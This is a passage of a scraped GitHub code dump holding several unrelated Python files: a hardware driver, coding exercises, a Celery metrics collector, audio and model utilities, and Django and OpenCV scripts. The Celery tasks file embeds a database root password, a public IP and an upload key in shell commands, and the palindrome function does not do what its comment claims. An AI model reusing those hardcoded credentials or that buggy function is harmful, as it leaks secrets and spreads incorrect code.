    power slots with the least significant bit representing the first power\n        slot. \n        \n        Parameters\n        ----------\n        value : int (0-15)\n            the signal shutdown command value to write.\n\n        Returns\n        -------\n        None\n\n        \"\"\"\n        \n        cspb_command = [self.SIGNAL_SHUTDOWN, value] \n        self.send_command(cspb_command)\n      \n            \n    def read_register(self, register_number):\n        \"\"\"\n        Sends the read register command to the cluster system power board.\n        \n        Parameters\n        ----------\n        register_number : int\n            the register to read.\n\n        Returns\n        -------\n        the value of the specified register.\n\n        \"\"\"\n        \n        self.set_register_number(register_number)\n        time.sleep(self.BUS_SETTLING_TIME)\n        return (self.bus.read_byte(self.address))\n    \n    \n    def write_register(self, register_number, value):\n        \"\"\"\n        Sends the write register command to the cluster system power board.\n        \n        Parameters\n        ----------\n        register_number : int\n            the register to be written.\n        value : int\n            the value to be written. (0-255)\n\n        Returns\n        -------\n        None\n        \"\"\"\n        \n        cspb_command = [self.WRITE_REGISTER, register_number, value] \n        self.send_command(cspb_command)\n      \n             \n    def set_register_number(self, register_number):\n        \"\"\"\n        Sends the set register command to the cluster system power board.\n        \n        Parameters\n        ----------\n        register_number : int\n            the register to be read by the read register command.\n\n        Returns\n        -------\n        None\n\n        \"\"\"\n        \n        cspb_command = [self.SET_REGISTER, register_number] \n        self.send_command(cspb_command)\n      \n             \n    def send_command(self, command):\n        \"\"\"\n        Sends the specified command string over the i2c bus to the cluster\n        system power board.\n        \n        Parameters\n        ----------\n        command : string\n            the command string to be sent.\n\n        Returns\n        -------\n        None\n\n        \"\"\"\n        self.bus.write_i2c_block_data(self.address, self.DEVICE_REG_MODE1, command)\n      \n        \n# Print a test value if this class file is run by itself. This is a\n# small self test routine.\nif __name__ == '__main__':\n    cspb = CSPB(1, 0x00)\n    print(cspb.address)","repo_name":"jerry-muir/cspb","sub_path":"Software/CSPB_Driver/cspb/CSPB.py","file_name":"CSPB.py","file_ext":"py","file_size_in_byte":6566,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"27639912874","text":"# Palindrome Permutation: Given a string, write a function to check if it is a permutation of a palindrome. A palindrome is a word or phrase that is the same forwards and backwards. A permutation\n# is a rearrangement of letters. The palindrome does not need to be limited to just dictionary words.\n# 1.5\n# 1.6\n# EXAMPLE\n# Input: Tact Coa\n# Output: True (permutations: \"taco cat\", \"atco eta\", etc.)\n\ndef generate_palindrome(string):\n    # Count the number of occurrences of each character in the string\n    char_counts = {}\n    for char in string:\n        if char in char_counts:\n            char_counts[char] += 1\n        else:\n            char_counts[char] = 1\n\n    # Construct the even-character string and the odd-character string (if it exists)\n    even_chars = \"\"\n    odd_char = None\n    for char, count in char_counts.items():\n        if count % 2 == 0:\n            even_chars += char * (count // 2)\n        else:\n            if odd_char is not None:\n                return None  # More than one character occurs an odd number of times\n            odd_char = char\n\n    # Construct the palindrome\n    palindrome = even_chars + (odd_char or \"\") + even_chars[::-1]\n    return palindrome\n\n\nprint(generate_palindrome(\"taco cat\"))\n","repo_name":"Olayanju-1234/DSA","sub_path":"Arrays & Strings Python/PalindromePermutation.js.py","file_name":"PalindromePermutation.js.py","file_ext":"py","file_size_in_byte":1231,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"43934090388","text":"#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n# @Time    : 2019/1/11\r\n# @Author  : Edwin\r\n# @Version : Python 3.6\r\n# @File    : tasks.py\r\n\r\nfrom __future__ import absolute_import, unicode_literals\r\nfrom celery import shared_task\r\nfrom celery.task import periodic_task\r\nfrom ora_dual import database_method\r\nfrom ora_dual import models\r\nimport pandas as pd\r\nimport numpy as np\r\n\r\nfrom fetch_knob_metric.fetch_mysql_metric_data import fetch_mysql_metric\r\nfrom fetch_knob_metric.JSONUtile import JSONUtil\r\nimport os,time,datetime,random\r\n\r\n@shared_task\r\ndef add(x, y):\r\n    return x + y\r\n\r\n\r\n@shared_task\r\ndef mul(x, y):\r\n    return x * y\r\n\r\n@shared_task\r\ndef test():\r\n    return \"hello world\"\r\n\r\n\r\n@shared_task\r\ndef xsum(numbers):\r\n    return sum(numbers)\r\n\r\n# @periodic_task(run_every=5, name=\"run_cmd\")\r\n# #@shared_task\r\n# def run_cmd(cmd=\"df -h\"):\r\n#     cmd_out = subprocess.Popen(cmd,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE)\r\n#     return cmd_out.stdout.read()\r\n#     #print(result.get())\r\n\r\n@periodic_task(run_every = 3600,name = \"collect_diskspace\")\r\ndef collect_diskspace():\r\n\r\n    conn = database_method.initial_connect('system', 'oracle', 'trn')\r\n    conn = conn.create_conn()\r\n\r\n    space_usage = \"\"\"\r\n        SELECT \r\n        to_char(sysdate,'yyyy-mm-dd') data_time,\r\n        A.TABLESPACE_NAME tablespace_name,\r\n        A.TOTAL_SPACE total,\r\n        NVL(B.FREE_SPACE, 0) free,\r\n        A.TOTAL_SPACE - NVL(B.FREE_SPACE, 0) used,\r\n        CASE WHEN A.TOTAL_SPACE=0 THEN 0 ELSE trunc(NVL(B.FREE_SPACE, 0) / A.TOTAL_SPACE * 100, 2) END percent\r\n    FROM (SELECT TABLESPACE_NAME, trunc(SUM(BYTES) / 1024 / 1024/1024 ,2) TOTAL_SPACE\r\n          FROM DBA_DATA_FILES\r\n         GROUP BY TABLESPACE_NAME) A,\r\n       (SELECT TABLESPACE_NAME, trunc(SUM(BYTES / 1024 / 1024/1024  ),2) FREE_SPACE\r\n          FROM DBA_FREE_SPACE\r\n         GROUP BY TABLESPACE_NAME) B\r\n    WHERE A.TABLESPACE_NAME = B.TABLESPACE_NAME(+)\r\n    ORDER BY 5\r\n        \"\"\"\r\n\r\n    cursor = conn.cursor()\r\n    cursor.execute(space_usage)\r\n    usage = cursor.fetchall()\r\n    usage_title = [i[0] for i in cursor.description]\r\n    usage_data = pd.DataFrame(np.array(usage), columns=usage_title)\r\n    print(usage_data)\r\n    cursor.close()\r\n\r\n    for index, row in usage_data.iterrows():\r\n\r\n        # print(row['REDO'])\r\n        # for ind in range(len(title)):\r\n        # from datetime import datetime\r\n        # snap_date=datetime.strptime(row['SNAP_DATE'], '%y/%m/%d').strftime('%Y-%m-%d')\r\n\r\n        models.spaceusage.objects.create(\r\n            collect_time = datetime.datetime.strftime(datetime.datetime.now(), '%Y-%m-%d %H'),\r\n            #data_time=datetime.datetime.strptime(row['DATA_TIME'], '%Y-%m-%d %H'),\r\n            tablespace_name=row['TABLESPACE_NAME'],\r\n            total=row['TOTAL'],\r\n            free=row['FREE'],\r\n            used=row['USED'],\r\n            percent=row['PERCENT']\r\n        )\r\n\r\n@periodic_task(run_every = 3600,name = \"collect_system_metric_period\")\r\ndef collect_system_metric_period():\r\n\r\n    conn = database_method.initial_connect('system', 'oracle', 'trn')\r\n    conn = conn.create_conn()\r\n    system_metric = \"\"\"\r\n    select begin_time,end_time,metric_name,metric_unit,average,standard_deviation,sum_squares from dba_hist_sysmetric_summary where to_char(begin_time,'yyyy-mm-dd hh24') = :var\r\n    \"\"\"\r\n    try:\r\n        cursor = conn.cursor()\r\n        var = datetime.datetime.strftime(datetime.datetime.now()+datetime.timedelta(hours=-2), '%Y-%m-%d %H')\r\n        print(var)\r\n        cursor.execute(system_metric,var=var)\r\n        collect_system_metric = cursor.fetchall()\r\n        collect_system_metric_title = [i[0] for i in cursor.description]\r\n        collect_system_metric_data = pd.DataFrame(np.array(collect_system_metric), columns=collect_system_metric_title)\r\n        print(collect_system_metric_data)\r\n        cursor.close()\r\n\r\n        for index, row in collect_system_metric_data.iterrows():\r\n            models.system_metric_period.objects.create(\r\n                collect_time= datetime.datetime.strftime(datetime.datetime.now(), '%Y-%m-%d %H'),\r\n                begin_time= row['BEGIN_TIME'],\r\n                end_time= row['END_TIME'],\r\n                metric_name= row['METRIC_NAME'],\r\n                data_value = row['METRIC_UNIT'],\r\n                metric_average = row['AVERAGE'],\r\n                metric_standard = row['STANDARD_DEVIATION'],\r\n                metric_squares = row['SUM_SQUARES']\r\n            )\r\n    except Exception as msg:\r\n        print(msg)\r\n\r\n@periodic_task(run_every = 3600,name = \"tablespace_channge\")\r\ndef tablespace_channge():\r\n\r\n    conn = database_method.initial_connect('system', 'oracle', 'trn')\r\n    conn = conn.create_conn()\r\n\r\n    tablespace_change = \"\"\"\r\n                    select rtime,tablespace_name,tablespace_usedsize_kb,tablespace_size_kb,diff_kb from \r\n                    (with tmp as\r\n                    (select  rtime,tablespace_name,\r\n                    sum(tablespace_usedsize_kb) tablespace_usedsize_kb,\r\n                    sum(tablespace_size_kb) tablespace_size_kb\r\n                    from (select rtime,\r\n                    e.tablespace_id,f.tablespace_name as tablespace_name,\r\n                    (e.tablespace_usedsize) * (f.block_size) / 1024 tablespace_usedsize_kb,\r\n                    (e.tablespace_size) * (f.block_size) / 1024 tablespace_size_kb\r\n                    from dba_hist_tbspc_space_usage e,\r\n                    dba_tablespaces f,\r\n                    v$tablespace g\r\n                    where e.tablespace_id = g.TS#\r\n                    and f.tablespace_name = g.NAME\r\n                    and f.tablespace_name in ('SOE')\r\n                    )\r\n                    group by rtime,tablespace_name)\r\n                    select tmp.rtime,tmp.tablespace_name,\r\n                    tablespace_usedsize_kb,\r\n                    tablespace_size_kb,\r\n                    (tablespace_usedsize_kb -\r\n                    LAG(tablespace_usedsize_kb, 1, NULL) OVER(ORDER BY tmp.rtime)) AS DIFF_KB\r\n                    from tmp,\r\n                    (select rtime rtime,tablespace_name\r\n                    from tmp\r\n                    group by rtime,tablespace_name) t2\r\n                    where t2.rtime = tmp.rtime and t2.tablespace_name=tmp.tablespace_name\r\n                    order by rtime)\r\n                    where to_char(to_date(rtime,'mm/dd/yyyy hh24:mi:ss'),'yyyy-mm-dd hh24') = :var\r\n                \"\"\"\r\n    try:\r\n        cursor = conn.cursor()\r\n        var = datetime.datetime.strftime(datetime.datetime.now(), '%Y-%m-%d %H')\r\n        cursor.execute(tablespace_change,var=var)\r\n        tablespace_change_metric = cursor.fetchall()\r\n        tablespace_change_metric_title = [i[0] for i in cursor.description]\r\n        tablespace__change_metric_data = pd.DataFrame(np.array(tablespace_change_metric), columns=tablespace_change_metric_title)\r\n        print(tablespace__change_metric_data)\r\n        cursor.close()\r\n\r\n        for index, row in tablespace__change_metric_data.iterrows():\r\n\r\n            # print(row['REDO'])\r\n            # for ind in range(len(title)):\r\n            # from datetime import datetime\r\n            # snap_date=datetime.strptime(row['SNAP_DATE'], '%y/%m/%d').strftime('%Y-%m-%d')\r\n\r\n            models.spacechange.objects.create(\r\n                collect_time = row['RTIME'],\r\n                #data_time=datetime.datetime.strptime(row['DATA_TIME'], '%Y-%m-%d %H'),\r\n                tablespace_name=row['TABLESPACE_NAME'],\r\n                tablespace_usedsize_kb=row['TABLESPACE_USEDSIZE_KB'],\r\n                tablespace_size_kb=row['TABLESPACE_SIZE_KB'],\r\n                DIFF_KB=row['DIFF_KB']\r\n            )\r\n    except Exception as msg:\r\n        print(msg)\r\n\r\n@periodic_task(run_every = 720,name = \"get_mysql_metric\")\r\ndef get_mysql_metric():\r\n\r\n    metric_ = fetch_mysql_metric()\r\n    # #before_time = time.strftime(\"%d_%m_%Y-%H_%M_%S\")\r\n    begin_time = datetime.datetime.now()\r\n    metric_.get_mysql_metric(\"before\",time.strftime(\"%d_%m_%Y-%H_%M_%S\"))\r\n    os.chdir(\"/u01/tpcc-mysql\")\r\n\r\n\r\n    #随机生成负载\r\n    pereiod = random.randint(100, 500)\r\n    warehouse_number = random.randint(1,100)\r\n    conn_number = random.randint(20,50)\r\n\r\n    os.system(\"./tpcc_start -h101.132.149.24 -P3306 -d tpccdb -u root -p Edwin703 -w \"+str(warehouse_number)+\" -c \"+str(conn_number)+\" -r 50 -l \"+str(pereiod))\r\n\r\n    end_time = datetime.datetime.now()\r\n    metric_ = fetch_mysql_metric()\r\n    metric_.get_mysql_metric(\"after\",time.strftime(\"%d_%m_%Y-%H_%M_%S\"))\r\n\r\n    os.chdir(\"/oracle_predict/\" + time.strftime(\"%d_%m_%Y\"))\r\n    #filename = \"data\" + time.strftime(\"%d_%m_%Y-%H_%M_%S\") + \".summary\"\r\n    filename = \"summary.json\"\r\n    res_ = {\r\n               \"start_time\": int(time.mktime(begin_time.timetuple())),\r\n               \"end_time\": int(time.mktime(end_time.timetuple())),\r\n               \"observation_time\": (end_time-begin_time).seconds,\r\n               \"database_type\": \"mysql\",\r\n               \"database_version\": \"5.7\",\r\n               \"workload_name\": \"wk1\"\r\n            }\r\n    with open(filename, 'w') as file_obj:\r\n        JSONUtil.dump(res_, file_obj)\r\n    #return render(request, \"./node_modules/gentelella/production/fetch_metric_data_ok.html\",{'title':\"系统负载数据收集完成\",\"time\":time.strftime(\"%d_%m_%Y-%H_%M_%S\")})\r\n\r\n    os.chdir(\"/oracle_predict/\" + time.strftime(\"%d_%m_%Y\"))\r\n    os.system(\"python upload.py \" + \"/oracle_predict/\" + time.strftime(\r\n        \"%d_%m_%Y\") + \" WL9FR3445C1UR9UCFA55 http://106.15.227.92:8080/new_result/\")","repo_name":"edwinjiang703/ruiqi_aiops","sub_path":"ora_dual/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":9521,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"27579331549","text":"from scipy.io.wavfile import read\nimport soundfile as sf\nimport os\nfrom pathlib import Path\n\n'''\nCheck for corrupted wav data files as a pre-processing step for many speech tasks.\n'''\n\ndef get_all_file_paths_with_extension(data_dir, extension):\n    if not os.path.isdir (data_dir):\n        return []\n    data_path = Path (data_dir)\n    audio_paths = list (map (str, list (data_path.glob ('*' + extension))))\n    return audio_paths\n\ndef check_audio_status(audio_paths, samplerate=44100, subtype='PCM_16', channels=1):\n    defected_list = []\n    corrupted_list = []\n    valid_audio_paths = []\n    for audio_path in audio_paths:\n        try:\n            _, _ = read (audio_path)\n            ob = sf.SoundFile (audio_path)\n            if ob.samplerate == samplerate and ob.channels == channels and ob.subtype == subtype:\n                valid_audio_paths.append (audio_path)\n                continue\n            else:\n                # print(f\"Defected {os.path.basename (audio_path)}, \" f\"sample rate: {ob.samplerate}, channels: {ob.channels}, subtype: {ob.subtype}\")\n                defected_list.append (os.path.basename (audio_path))\n        except Exception:\n            corrupted_list.append (os.path.basename (audio_path))\n    # print (defected_list)\n    # print (corrupted_list)\n    return defected_list + corrupted_list\n\ndef get_all_folders(dirname):\n    subfolders = [f.path for f in os.scandir (dirname) if f.is_dir ()]\n    all_folders = []\n    for dirname in list (subfolders):\n        new_subfolders = [f.path for f in os.scandir (dirname) if f.is_dir ()]\n        for x in new_subfolders:\n            all_folders.append (x)\n    return all_folders\n\ndef check(download_folder):\n    for folder in get_all_folders (download_folder):\n        parsed_paths = get_all_file_paths_with_extension (folder, '.wav')\n        corrupted_files_list = check_audio_status (parsed_paths)\n        if check_audio_status (parsed_paths):\n            folder = folder.split ('/')\n            folder = os.path.join (folder[-1], folder[-2])\n            print (folder)\n            print (corrupted_files_list)\n\n\nif __name__ == '__main__':\n    wav_files = '/ASR'  # folder containing wav files\n    check (wav_files)\n","repo_name":"ShihabYasin/ImportantCodes","sub_path":"speech-processing/wav-validation/validate.py","file_name":"validate.py","file_ext":"py","file_size_in_byte":2195,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"60"}
+{"seq_id":"14744833049","text":"from layers import *\nfrom configs import *\n\ndef inference(patches, name='con7_deconv'):\n    with tf.variable_scope(name):\n        conv1 = conv2d(patches, 3, 3, 16, padding='VALID', name='conv1')\n        lrelu1 = leaky_relu(conv1, name='leaky_relu1')\n        conv2 = conv2d(lrelu1, 3, 3, 32, padding='VALID', name='conv2')\n        lrelu2 = leaky_relu(conv2, name='leaky_relu2')\n        conv3 = conv2d(lrelu2, 3, 3, 64, padding='VALID', name='conv3')\n        lrelu3 = leaky_relu(conv3, name='leaky_relu3')\n        conv4 = conv2d(lrelu3, 3, 3, 128, padding='VALID', name='conv4')\n        lrelu4 = leaky_relu(conv4, name='leaky_relu4')\n        conv5 = conv2d(lrelu4, 3, 3, 128, padding='VALID', name='conv5')\n        lrelu5 = leaky_relu(conv5, name='leaky_relu5')\n        conv6 = conv2d(lrelu5, 3, 3, 256, padding='VALID', name='conv6')\n        lrelu6 = leaky_relu(conv6, name='leaky_relu6')\n\n        rows = int(lrelu6.get_shape()[1])\n        cols = int(lrelu6.get_shape()[2])\n        channels = int(patches.get_shape()[3])\n        # to avoid chessboard artifacts, the filter size must be dividable by the stride\n        return deconv2d(lrelu6, 4, 4, [tf.shape(lrelu6)[0], rows*2, cols*2, channels], stride=(2, 2), name='deconv_out')\n\ndef loss(inferences, ground_truthes, huber_width=0.1, weights_decay=0, name='loss'):\n    with tf.name_scope(name):\n        slice_begin = (int(ground_truthes.get_shape()[1]) - int(inferences.get_shape()[1])) // 2\n        slice_end = int(inferences.get_shape()[1]) + slice_begin\n        delta = inferences - ground_truthes[:, slice_begin: slice_end, slice_begin: slice_end, :]\n\n        delta *= [[[[0.11448, 0.58661, 0.29891]]]]  # weights of B, G and R\n        l2_loss = tf.pow(delta, 2)\n        mse_loss = tf.reduce_mean(tf.reduce_sum(l2_loss, axis=[1, 2, 3]))\n\n        if weights_decay > 0:\n            weights = tf.get_collection('weights')\n            reg_loss = weights_decay * tf.reduce_sum(\n                tf.pack([tf.nn.l2_loss(i) for i in weights]), name='regularization_loss')\n            tf.summary.scalar('loss', mse_loss + reg_loss)\n            return mse_loss + reg_loss\n        else:\n            tf.summary.scalar('loss', mse_loss)\n            return mse_loss\n","repo_name":"Ansore/super_resolution","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":2206,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"36090526428","text":"# Jan 20 2020\n\n\"\"\"\n😎 The setUp and tearDown \n\n    1. setUp & tearDown will perform for every single test\n    2. testing sequence DO NOT necessarily run in the order you expect! 测试的顺序并非脚本顺序！\n    3. keep ALL of our test isolated from eachother 每个功能的测试必须独立，分治，自洽\n\n# 👀 cls和self之间只能二选一！不能同时继承！\n# recall: @classmethod -> working with the ENTIRE class rather than each instance of the class\n\n# 🎯 mocking: https://youtu.be/6tNS--WetLI?t=1720 ⏭\n\"\"\"\n\nimport unittest\nfrom employee import Employee\nfrom unittest.mock import patch\n\n\n###### With Prints ######\n\n\nclass TestEmployee(unittest.TestCase):\n    \"\"\" Run classmethod before ANYTYING & run after EVERYTYING \"\"\"\n    @classmethod\n    def setUpClass(cls):\n        print('Run setupClass!')\n        print()\n\n    @classmethod\n    def tearDownClass(cls):\n        print('Run teardownClass!')\n\n    def setUp(self):\n        print('setUp')\n        self.emp_1 = Employee('Corey', 'Schafer', 50_000)\n        self.emp_2 = Employee('Sue', 'Smith', 60_000)\n\n    def tearDown(self):\n        print('tearDown\\n')\n\n    def test_email(self):\n        print('test_email')\n        self.assertEqual(self.emp_1.email, 'Corey.Schafer@google.com')\n        self.assertEqual(self.emp_2.email, 'Sue.Smith@google.com')\n\n        self.emp_1.first = 'John'\n        self.emp_2.first = 'Jane'\n\n        self.assertEqual(self.emp_1.email, 'John.Schafer@google.com')\n        self.assertEqual(self.emp_2.email, 'Jane.Smith@google.com')\n\n    def test_fullname(self):\n        print('test_fullname')\n        self.assertEqual(self.emp_1.fullname, 'Corey Schafer')\n        self.assertEqual(self.emp_2.fullname, 'Sue Smith')\n\n        self.emp_1.first = 'John'\n        self.emp_2.first = 'Jane'\n\n        self.assertEqual(self.emp_1.fullname, 'John Schafer')\n        self.assertEqual(self.emp_2.fullname, 'Jane Smith')\n\n    def test_raise_pay(self):\n        print('test_raise_pay')\n        self.emp_1.raise_pay()\n        self.emp_2.raise_pay()\n\n        self.assertEqual(self.emp_1.pay, 55000)\n        self.assertEqual(self.emp_2.pay, 66000)\n\n    ##### Mocking #####\n\n    def test_monthly_schedule(self):\n        with patch('employee.requests.get') as mocked_get:\n            mocked_get.return_value.ok = True\n            mocked_get.return_value.text = 'Success'\n\n            schedule = self.emp_1.monthly_schedule('May')\n            mocked_get.assert_called_with('http://company.com/Schafer/May')\n            self.assertEqual(schedule, 'Success')\n\n            mocked_get.return_value.ok = False\n\n            schedule = self.emp_2.monthly_schedule('June')\n            mocked_get.assert_called_with('http://company.com/Smith/June')\n            self.assertEqual(schedule, 'Bad Response!')\n\n\nif __name__ == '__main__':\n    unittest.main()\n\n\n###### setUpClass and tearDownClass ######\n","repo_name":"JosephZYU/Python-2-Intermediate","sub_path":"test_employee_4.mocking.py","file_name":"test_employee_4.mocking.py","file_ext":"py","file_size_in_byte":2876,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"14664864725","text":"import cv2\r\nimport numpy as np\r\n#events=[i for i in dir(cv2) if 'EVENT' in i]\r\n#print(events)\r\ndef click_event(event,x,y,flags,param):\r\n    if event==cv2.EVENT_LBUTTONDOWN:\r\n        print(x,' , ',y)\r\n        font=cv2.FONT_HERSHEY_SIMPLEX\r\n        strXY=str(x)+' , '+str(y)\r\n        cv2.putText(img,strXY,(x,y),font,0.6,(0,255,0),2)\r\n        cv2.imshow('image',img)\r\n    if event==cv2.EVENT_RBUTTONDOWN:\r\n        blue=img[y,x,0]\r\n        green=img[y,x,1]\r\n        red=img[y,x,2]\r\n        font=cv2.FONT_HERSHEY_SIMPLEX\r\n        str_BGR=str(blue)+' , '+str(red)+' , '+str(green)\r\n        cv2.putText(img,str_BGR,(x,y),font,0.4,(0,0,255),2)\r\n        cv2.imshow('image',img)\r\n        \r\n#img=np.zeros((512,512,3),np.uint8)\r\n#img=cv2.imread(r'C:\\Users\\apple.jpg')\r\nimg=cv2.imread(r'C:\\Users\\messi5.jpg')\r\ncv2.imshow('image',img)\r\ncv2.setMouseCallback('image',click_event)\r\nk=cv2.waitKey(0)\r\nif k==ord('a'):\r\n   cv2.destroyAllWindows()\r\n","repo_name":"PAVAN1410/cv_mouse_events","sub_path":"mouse_event.py","file_name":"mouse_event.py","file_ext":"py","file_size_in_byte":929,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"29263379054","text":"def validIPAddresses(string):\n    IPaddress = []\n\n    # For the first part [   . at 1st-3rd position]\n    for i in range(1, min(len(string), 4)):\n        currentIPaddress = ['', '', '', '']\n        currentIPaddress[0] = string[:i]  # First part of the current address\n\n        if not isValidPart(currentIPaddress[0]):\n            continue  # If not a valid part then move the dot to the next position\n\n        # If the first part is valid then look for the second part\n        for j in range(i + 1, min(len(string), i + 4)):\n            currentIPaddress[1] = string[i:j]  # Second part of the current address\n\n            if not isValidPart(currentIPaddress[1]):\n                continue  # If not a valid part then move the dot to the next position\n\n            # If the second part is valid then look for the third part\n            for k in range(j + 1, min(len(string), j + 4)):\n                currentIPaddress[2] = string[j:k]  # Third part of the current address\n                currentIPaddress[3] = string[k::]  # Fourth part of the current address\n\n                if isValidPart(currentIPaddress[2]) and isValidPart(currentIPaddress[3]):\n                    IPaddress.append('.'.join(currentIPaddress))\n    return IPaddress\n\n\ndef isValidPart(IPpart):\n    IntIP = int(IPpart)\n    if IntIP > 255:\n        return False\n    return len(IPpart) == len(str(IntIP))  # Check for leading 0s.\n\n\n\n\n","repo_name":"Riazul-Islam-Rifat/AlgoExpert","sub_path":"MEDIUM/Valid IP Address/Valid IP Address.py","file_name":"Valid IP Address.py","file_ext":"py","file_size_in_byte":1397,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"26285659279","text":"#-*- coding:utf-8 -*-\r\n'''\r\nCreated on 2017年3月22日\r\n\r\n@author: ning.lin\r\n'''\r\nimport os\r\n\r\nimport django\r\n\r\n\r\n#os.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"mysite.settings\")\r\nBASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\r\n\r\nif django.VERSION >= (1, 7):\r\n    django.setup()\r\n\r\ndef main():\r\n    print(BASE_DIR)\r\n    from blog.models import Article\r\n    #art=Article()\r\n    f=open('import1.txt','r')\r\n    \r\n    for line in f:\r\n        if not line.find(\"#\")==-1:#如果找到了#号才执行下面的，否则不执行\r\n            title,content,pub_date,update_time=line.split('#')\r\n            #ValueError: need more than 1 value to unpack\r\n            #可以发现这句话里面并没有#号，而我们要#号进行拆分,本文是因为后面有多个空行\r\n            print(title,content,pub_date,update_time)\r\n    #         art.title=title\r\n    #         art.content=content\r\n    #         art.pub_date=pub_date\r\n    #         art.update_time=update_time\r\n    #         art.save()\r\n            Article.objects.create(title=title,content=content,pub_date=pub_date,update_time=update_time)\r\n            #下面这条不会重复导入\r\n            Article.objects.get_or_create(title=title,content=content,pub_date=pub_date,update_time=update_time)\r\n    f.close()\r\n#使用Model.objects.bulk_create()方式\r\ndef b():\r\n    from blog.models import Article\r\n    f=open('import1.txt','r') \r\n    Blog_List=[]\r\n    for line in f:\r\n        if not line.find(\"#\")==-1:\r\n            title,content,pub_date,update_time=line.split('#')\r\n            art=Article(title=title,content=content,pub_date=pub_date,update_time=update_time)\r\n            Blog_List.append(art)\r\n            print(Blog_List)\r\n            #而bulk_create()是执行一条SQL存入多条数据，做会快很多！\r\n            Article.objects.bulk_create(Blog_List)\r\n    f.close()\r\n#用列表解析代替 for 循环会更快\r\ndef c():\r\n    from blog.models import Article\r\n    f=open('import1.txt','r') \r\n    Blog_List=[]\r\n    # 以下四行 也可以用 列表解析 写成下面这样\r\n    # BlogList = [Blog(title=line.split('****')[0], content=line.split('****')[1]) for line in f]\r\n    for line in f:\r\n        if not line.find(\"#\")==-1:\r\n            parts=line.split('#')\r\n            art=Article(title=parts[0],content=parts[1],pub_date=parts[2],update_time=parts[3])\r\n            Blog_List.append(art)\r\n            print(Blog_List)\r\n            #而bulk_create()是执行一条SQL存入多条数据，做会快很多！\r\n            Article.objects.bulk_create(Blog_List)\r\n    f.close()\r\nif __name__==\"__main__\":\r\n    #main()\r\n    #b()\r\n    c()\r\n    print(\"done\")\r\n    ","repo_name":"lnytx/Django","sub_path":"blog/import_blog.py","file_name":"import_blog.py","file_ext":"py","file_size_in_byte":2673,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"37342524985","text":"import numpy as np\nfrom matplotlib import pyplot as plt\nfrom scipy.optimize import curve_fit\n\nx_data = [1, 2, 3, 4, 5]\ny_data = [3, 9, 27, 48, 54]\nx_err = 0.5\ny_err = [1, 2, 3, 4, 5]\n\nplt.errorbar(x_data, y_data, xerr=x_err, yerr=y_err, fmt='o')\n\ndef func(x, a, b):\n    return a*x + b\n\n\npopt, pcov = curve_fit(func, x_data, y_data)\nx_range = np.linspace(np.amin(x_data), np.amax(x_data), 100)\nplt.plot(x_range, func(x_range, *popt))\n\n\nplt.title(\"Example of a graph title\")\nplt.xlabel(\"An x-axis label\")\nplt.ylabel(\"A y-axis label using $LaTeX$ syntax\")\nplt.savefig(\"ch4.png\")\nplt.show()\n","repo_name":"wluckin/python_plotting","sub_path":"ch1.py","file_name":"ch1.py","file_ext":"py","file_size_in_byte":587,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"588213179","text":"import os\nfrom bs4 import BeautifulSoup\nimport concurrent.futures\nfrom analyst_class import Analyst\nfrom executive_class import Executive\nimport linecache\nimport sys\nimport csv\nfrom time import sleep\nimport re\nimport html2text\nfrom unidecode import unidecode\n\n\ndef fix_codec():\n    in_dir = 'raw_texts'\n    out_dir = 'texts2'\n    \n    try:\n        os.mkdir(out_dir)\n    except Exception:\n        pass\n    \n    current_files = os.listdir(in_dir)\n    \n    at_analysts = False\n    at_start = False\n    has_sep = False\n    for item in current_files:\n        file_name = item\n        \n        if file_name == '.DS_Store':\n            pass\n        \n        else:\n            with open(os.path.join(in_dir, file_name), 'r') as fin:\n                raw_lines = fin.readlines()\n\n            for line in raw_lines:\n                if line.lower().strip().startswith('**analysts'):\n                    at_analysts = True\n                if at_analysts == True and line.lower().strip().startswith('**'):\n                    at_start = True\n                \n                if at_start == False and ' - ' in line.lower().replace('–','-'):\n                    has_sep = True\n            \n            at_analysts = False\n            at_start = False\n            fixed_lines = []\n            for line in raw_lines:\n                if line.lower().strip().startswith('**analysts'):\n                    at_analysts = True\n                if at_analysts == True and line.lower().strip().startswith('**'):\n                    at_start = True\n                    \n                if has_sep == True:\n                    fixed_lines.append(unidecode(line).replace('–','-'))\n                else:\n                    if at_start == False:\n                        fixed_lines.append(unidecode(line).replace('–','-').replace(',', ' - ', 1).replace(',',''))\n                        \n                    else:\n                        if line.lower().startswith('**'):\n                            fixed_lines.append(unidecode(line).replace('–','-').replace(',', ' - ', 1).replace(',',''))\n                        else:\n                            fixed_lines.append(unidecode(line).replace('–','-'))\n                            \n                        \n                \n            with open(os.path.join(out_dir, file_name), 'w') as fout:\n                for line in fixed_lines:\n                    fout.write(line)\n            \n    \n    \n# function to get the data from a transcript .txt file in order to determine if its complete and then determine output filename\ndef get_page_meta(lines):\n    regex = r\"\\b[q][1-4]\\b\" # q[1-4]\n    regex2 = r\"\\b[f][1-4][q][0-9]{2}\\b\" # f[1-4]q[xx]\n    regex3 = r\"\\b[f][1-4][q][0-9]{4}\\b\" # f[1-4]q[xxxx]\n    \n    # initialize transcript metadata variables\n    date = ''\n    name = ''\n    ticker = ''\n    quarter = ''\n    \n    has_qa = False\n    # remove the lines of the transcript text that are unnecessary/mess up formatting\n    fixed_lines = []\n    for line in lines:\n        if line == '' or line == '\\n' or 